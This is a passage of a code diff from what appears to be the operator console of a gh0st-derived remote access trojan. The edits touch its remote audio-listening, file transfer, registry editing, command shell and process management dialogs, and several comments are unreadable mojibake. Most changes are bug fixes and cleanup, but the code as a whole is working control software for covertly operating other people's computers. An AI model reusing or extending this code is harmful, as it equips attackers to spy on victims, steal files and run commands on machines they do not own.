CAudioDlg::WorkThread(LPVOID lParam) { if (!This->m_bSend) { - Sleep(1000); + Sleep(50); continue; } DWORD dwBufferSize = 0; @@ -85,6 +91,8 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam) if (szBuffer != NULL && dwBufferSize > 0) This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //ûϢͷ } + This->m_bThreadRun = FALSE; + return 0; } diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h index 3eda016..54110d6 100644 --- a/server/2015Remote/AudioDlg.h +++ b/server/2015Remote/AudioDlg.h @@ -18,6 +18,7 @@ public: CString m_strIPAddress; DWORD m_nTotalRecvBytes; BOOL m_bIsWorking; + BOOL m_bThreadRun; HANDLE m_hWorkThread; CAudio m_AudioObject; diff --git a/server/2015Remote/FileManagerDlg.cpp b/server/2015Remote/FileManagerDlg.cpp index bcd3927..e9c990f 100644 --- a/server/2015Remote/FileManagerDlg.cpp +++ b/server/2015Remote/FileManagerDlg.cpp @@ -80,7 +80,10 @@ CFileManagerDlg::CFileManagerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, Client // Զб memset(m_bRemoteDriveList, 0, sizeof(m_bRemoteDriveList)); - memcpy(m_bRemoteDriveList, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); + PBYTE pSrc = m_pContext->m_DeCompressionBuffer.GetBuffer(1); + int length = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; + if (length > 0) + memcpy(m_bRemoteDriveList, pSrc, length); m_nTransferMode = TRANSFER_MODE_NORMAL; m_nOperatingFileLength = 0; @@ -305,7 +308,6 @@ void CFileManagerDlg::OnSize(UINT nType, int cx, int cy) GetDlgItem(IDC_STATIC_REMOTE)->MoveWindow(20, cy / 2, 25, 20); GetDlgItem(IDC_REMOTE_PATH)->MoveWindow(53, (cy / 2) - 4 , 210, 12); - GetClientRect(&rect); //ʾ m_wndToolBar_Local.MoveWindow(268, 0, rect.right - 268, 48); @@ -350,7 +352,6 @@ void CFileManagerDlg::FixedLocalDriveList() AmntMB = 0; FreeMB = 0; } - int nItem = m_list_local.InsertItem(i, pDrive, GetIconIndex(pDrive, GetFileAttributes(pDrive))); m_list_local.SetItemData(nItem, 1); @@ -407,9 +408,6 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) } } - - - // õĿ¼ if (directory == "..") { @@ -423,7 +421,6 @@ void CFileManagerDlg::FixedLocalFileList(CString directory) m_Local_Path += "\\"; } - // ĸĿ¼,شб if (m_Local_Path.GetLength() == 0) { @@ -501,7 +498,6 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList) return; } //EO if(pDragList... - pDropList->SetItemState(m_nDropIndex, 0, LVIS_DROPHILITED); if ((CWnd *)pDropList == &m_list_local) @@ -519,48 +515,6 @@ void CFileManagerDlg::DropItemOnList(CListCtrl* pDragList, CListCtrl* pDropList) } // m_nDropIndex = -1; -// Ĵ벻Ҫˣļ -// if(pDragList->GetSelectedCount() == 1) -// { -// char szLabel[MAX_PATH]; -// LVITEM lviT; -// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM -// lviT.iItem = m_nDragIndex; -// lviT.mask = LVIF_IMAGE | LVIF_TEXT; -// lviT.pszText = szLabel; -// lviT.cchTextMax = MAX_PATH; -// pDragList->GetItem (&lviT); -// -// // Select the new item we just inserted -// int iItem = (m_nDropIndex == -1) ? pDropList->GetItemCount () : m_nDropIndex; -// -// pDropList->InsertItem(iItem, szLabel, lviT.iImage); -// -// pDropList->SetItemState (iItem, LVIS_SELECTED, LVIS_SELECTED); -// } -// else //more than 1 item is being dropped -// { -// POSITION pos = pDragList->GetFirstSelectedItemPosition(); //iterator for the CListCtrl -// while(pos) //so long as we have a valid POSITION, we keep iterating -// { -// m_nDragIndex = pDragList->GetNextSelectedItem(pos); -// m_nDropIndex = (m_nDropIndex == -1) ? pDropList->GetItemCount() : m_nDropIndex; -// -// char szLabel[MAX_PATH]; -// LVITEM lviT; -// ZeroMemory(&lviT, sizeof (LVITEM)); //allocate and clear memory space for LV_ITEM -// lviT.iItem = m_nDragIndex; -// lviT.mask = LVIF_IMAGE | LVIF_TEXT; -// lviT.pszText = szLabel; -// lviT.cchTextMax = MAX_PATH; -// pDragList->GetItem (&lviT); -// -// pDropList->InsertItem(m_nDropIndex, szLabel, lviT.iImage); -// pDropList->SetItemState(m_nDropIndex, LVIS_SELECTED, LVIS_SELECTED); -// m_nDropIndex ++; -// //Save the pointer to the new item in our CList -// } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory -// } } // The system calls this to obtain the cursor to display while the user drags @@ -613,7 +567,6 @@ void CFileManagerDlg::OnBegindragListRemote(NMHDR* pNMHDR, LRESULT* pResult) if (!m_list_local.GetItemText(m_nDragIndex, 0).Compare("..")) return; - //We will call delete later (in LButtonUp) to clean this up if(m_list_remote.GetSelectedCount() > 1) //more than 1 item in list is selected @@ -799,7 +752,6 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) ʺϰӴ򴰿ڡ */ - if(m_wndToolBar_Local.IsWindowVisible()) { CWnd* pWndParent = m_wndToolBar_Local.GetParent(); @@ -813,6 +765,7 @@ BOOL CFileManagerDlg::PreTranslateMessage(MSG* pMsg) return CDialog::PreTranslateMessage(pMsg); } + void CFileManagerDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default @@ -837,14 +790,13 @@ void CFileManagerDlg::FixedRemoteDriveList() m_list_remote.InsertColumn(2, "ܴС", LVCFMT_LEFT, 100); m_list_remote.InsertColumn(3, "ÿռ", LVCFMT_LEFT, 115); - char *pDrive = NULL; pDrive = (char *)m_bRemoteDriveList; unsigned long AmntMB = 0; // ܴС unsigned long FreeMB = 0; // ʣռ - char VolName[MAX_PATH]; - char FileSystem[MAX_PATH]; + //char VolName[MAX_PATH]; + //char FileSystem[MAX_PATH]; /* 6 DRIVE_FLOPPY @@ -913,7 +865,6 @@ void CFileManagerDlg::FixedRemoteDriveList() m_list_remote.SetItemText(nItem, 1, lpFileSystemName); } - i += lstrlen(pDrive + i) + 1; } // Զ̵ǰ· @@ -956,6 +907,7 @@ CString CFileManagerDlg::GetParentDirectory(CString strPath) strCurPath += "\\"; return strCurPath; } + void CFileManagerDlg::OnReceiveComplete() { switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) @@ -1054,6 +1006,7 @@ void CFileManagerDlg::GetRemoteFileList(CString directory) m_list_remote.EnableWindow(FALSE); m_ProgressCtrl->SetPos(0); } + void CFileManagerDlg::OnDblclkListRemote(NMHDR* pNMHDR, LRESULT* pResult) { if (m_list_remote.GetSelectedCount() == 0 || m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) != 1) @@ -1080,7 +1033,6 @@ void CFileManagerDlg::FixedRemoteFileList(BYTE *pbBuffer, DWORD dwBufferLen) m_list_remote.InsertColumn(2, "", LVCFMT_LEFT, 100); m_list_remote.InsertColumn(3, "޸", LVCFMT_LEFT, 115); - int nItemIndex = 0; m_list_remote.SetItemData ( @@ -1188,7 +1140,6 @@ BOOL CFileManagerDlg::OnToolTipNotify(UINT id, NMHDR* pNMHDR, LRESULT* pResult) if (GetRoutingFrame() != NULL) return FALSE; - //ANSI and UNICODE汾 TOOLTIPTEXTA* pTTTA = (TOOLTIPTEXTA*)pNMHDR; TOOLTIPTEXTW* pTTTW = (TOOLTIPTEXTW*)pNMHDR; @@ -1368,6 +1319,7 @@ void CFileManagerDlg::OnUpdateRemoteStop(CCmdUI* pCmdUI) // TODO: Add your command update UI handler code here pCmdUI->Enable(!m_list_remote.IsWindowEnabled() && !m_bIsUpload); } + bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) { char lpszFilter[MAX_PATH]; @@ -1417,6 +1369,7 @@ void CFileManagerDlg::EnableControl(BOOL bEnable) m_Local_Directory_ComboBox.EnableWindow(bEnable); m_Remote_Directory_ComboBox.EnableWindow(bEnable); } + void CFileManagerDlg::OnLocalCopy() { m_bIsUpload = true; @@ -1489,7 +1442,6 @@ void CFileManagerDlg::OnRemoteCopy() // һ BOOL CFileManagerDlg::SendDownloadJob() { - if (m_Remote_Download_Job.IsEmpty()) return FALSE; @@ -1637,14 +1589,12 @@ void CFileManagerDlg::CreateLocalRecvFile() WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData); - if (hFind != INVALID_HANDLE_VALUE && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL && m_nTransferMode != TRANSFER_MODE_JUMP_ALL ) { - CFileTransferModeDlg dlg(this); dlg.m_strFileName = m_strReceiveLocalFile; switch (dlg.DoModal()) @@ -1724,7 +1674,6 @@ void CFileManagerDlg::CreateLocalRecvFile() memset(bToken + 1, 0, 8); // ´ dwCreationDisposition = CREATE_ALWAYS; - } // ָƵ-1 else if (nTransferMode == TRANSFER_MODE_JUMP) @@ -1744,7 +1693,6 @@ void CFileManagerDlg::CreateLocalRecvFile() } FindClose(hFind); - HANDLE hFile = CreateFile ( @@ -1775,11 +1723,10 @@ void CFileManagerDlg::CreateLocalRecvFile() m_iocpServer->Send(m_pContext, bToken, sizeof(bToken)); } } -// дļ +// дļ void CFileManagerDlg::WriteLocalRecvFile() { - // BYTE *pData; DWORD dwBytesToWrite; @@ -1796,7 +1743,6 @@ void CFileManagerDlg::WriteLocalRecvFile() LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; - dwBytesToWrite = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; HANDLE hFile = @@ -1878,7 +1824,6 @@ void CFileManagerDlg::EndLocalRecvFile() void CFileManagerDlg::EndLocalUploadFile() { - m_nCounter = 0; m_strOperatingFile = ""; m_nOperatingFileLength = 0; @@ -1899,6 +1844,7 @@ void CFileManagerDlg::EndLocalUploadFile() } return; } + void CFileManagerDlg::EndRemoteDeleteFile() { if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) @@ -1944,7 +1890,6 @@ void CFileManagerDlg::ShowProgress() else lpDirection = "ļ"; - if ((int)m_nCounter == -1) { m_nCounter = m_nOperatingFileLength; @@ -2107,14 +2052,12 @@ void CFileManagerDlg::SendFileData() ShowProgress(); - if (m_nCounter == m_nOperatingFileLength || pFileSize->dwSizeLow == -1 || m_bIsStop) { EndLocalUploadFile(); return; } - HANDLE hFile; hFile = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) @@ -2447,7 +2390,6 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) else pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED); - pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); *pResult = 0; @@ -2565,4 +2507,4 @@ bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) free(pszDirCopy); return TRUE; -} \ No newline at end of file +} diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index d921057..41c9265 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -29,12 +29,15 @@ IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog) CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) : CDialog(CRegisterDlg::IDD, pParent) { + m_bIsClosed = FALSE; + m_bIsWorking = FALSE; m_iocpServer = IOCPServer; m_ContextObject = ContextObject; } CRegisterDlg::~CRegisterDlg() { + printf("~CRegisterDlg \n"); } void CRegisterDlg::DoDataExchange(CDataExchange* pDX) @@ -59,6 +62,14 @@ BOOL CRegisterDlg::OnInitDialog() CDialog::OnInitDialog(); // TODO: ڴӶijʼ + CString str; + sockaddr_in ClientAddr; + memset(&ClientAddr, 0, sizeof(ClientAddr)); + int ClientAddrLen = sizeof(ClientAddr); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen); + + str.Format("%s - ע", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + SetWindowText(str); m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); // ؼϵͼ @@ -94,15 +105,14 @@ BOOL CRegisterDlg::OnInitDialog() // 쳣: OCX ҳӦ FALSE } - void CRegisterDlg::OnClose() { - // TODO: ڴϢ/Ĭֵ m_ContextObject->v1 = 0; CancelIo((HANDLE)m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket); CDialog::OnClose(); - delete this; + m_bIsClosed = TRUE; + //delete this; } @@ -161,7 +171,6 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent) strTemp += "\\"; strReturn = strTemp + strReturn; hCurrent = m_Tree.GetParentItem(hCurrent); //õ - } return strReturn; } @@ -171,7 +180,6 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath) char bToken; if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //ж { - bToken=MHKEY_CLASSES_ROOT; strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT")); }else if(!strFullPath.Find("HKEY_CURRENT_USER")) @@ -201,25 +209,24 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath) void CRegisterDlg::OnReceiveComplete(void) { + m_bIsWorking = TRUE; switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) { - case TOKEN_REG_PATH: { AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); break; } - case TOKEN_REG_KEY: { AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); break; } - default: // ䷢쳣 break; } + m_bIsWorking = FALSE; } @@ -238,9 +245,10 @@ void CRegisterDlg::AddPath(char* szBuffer) memcpy((void*)&msg,szBuffer,msgsize); DWORD size =msg.size; int count=msg.count; - if(size>0&&count>0){ //һ㱣ʩ for(int i=0;iwParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) { //õڵݴС - int iLength = m_Edit.GetWindowTextLength(); //Hello>dir 3 + int iLength = m_Edit.GetWindowTextLength(); CString str; //õڵַ - m_Edit.GetWindowText(str);//dir\r\n + m_Edit.GetWindowText(str); //뻻з str += "\r\n"; //õĻ׵ַټԭеַλãʵûǰ - //Ȼݷͳȥ - m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel); - m_nCurSel = m_Edit.GetWindowTextLength(); //¶λm_nCurSel m_nCurSel = 3 + //Ȼݷͳȥ + LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel; +#ifdef _DEBUG + OutputDebugStringA("[Shell]=> "); + OutputDebugStringA((char*)pSrc); +#endif + int length = str.GetLength() - m_nCurSel; + m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length); + m_nCurSel = m_Edit.GetWindowTextLength(); + if (0 == strcmp((char*)pSrc, "exit\r\n")) + { + ShowWindow(SW_HIDE); + } } // VK_BACK if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) @@ -148,9 +158,9 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg) if (m_Edit.GetWindowTextLength() <= m_nReceiveLength) return true; } + // ʾ //dir\r\n 5 //hello\r\n 7 - // } return CDialog::PreTranslateMessage(pMsg); diff --git a/server/2015Remote/SystemDlg.cpp b/server/2015Remote/SystemDlg.cpp index d22f0ec..6f510b1 100644 --- a/server/2015Remote/SystemDlg.cpp +++ b/server/2015Remote/SystemDlg.cpp @@ -62,8 +62,10 @@ BOOL CSystemDlg::OnInitDialog() sockaddr_in ClientAddr; memset(&ClientAddr, 0, sizeof(ClientAddr)); int iSockAddrLength = sizeof(ClientAddr); - BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength); //õӵip - str.Format("%s - ̹", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); + BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength); + m_bHow==TOKEN_PSLIST + ? str.Format("%s - ̹", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "") + :str.Format("%s - ڹ", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); SetWindowText(str);//öԻ m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); diff --git a/server/2015Remote/gh0st2Remote.h b/server/2015Remote/gh0st2Remote.h index 60f9f5e..a69859e 100644 --- a/server/2015Remote/gh0st2Remote.h +++ b/server/2015Remote/gh0st2Remote.h @@ -8,9 +8,9 @@ #include "IOCPServer.h" -typedef IOCPServer CIOCPServer; +#define CIOCPServer IOCPServer -typedef CONTEXT_OBJECT ClientContext; +#define ClientContext CONTEXT_OBJECT typedef struct {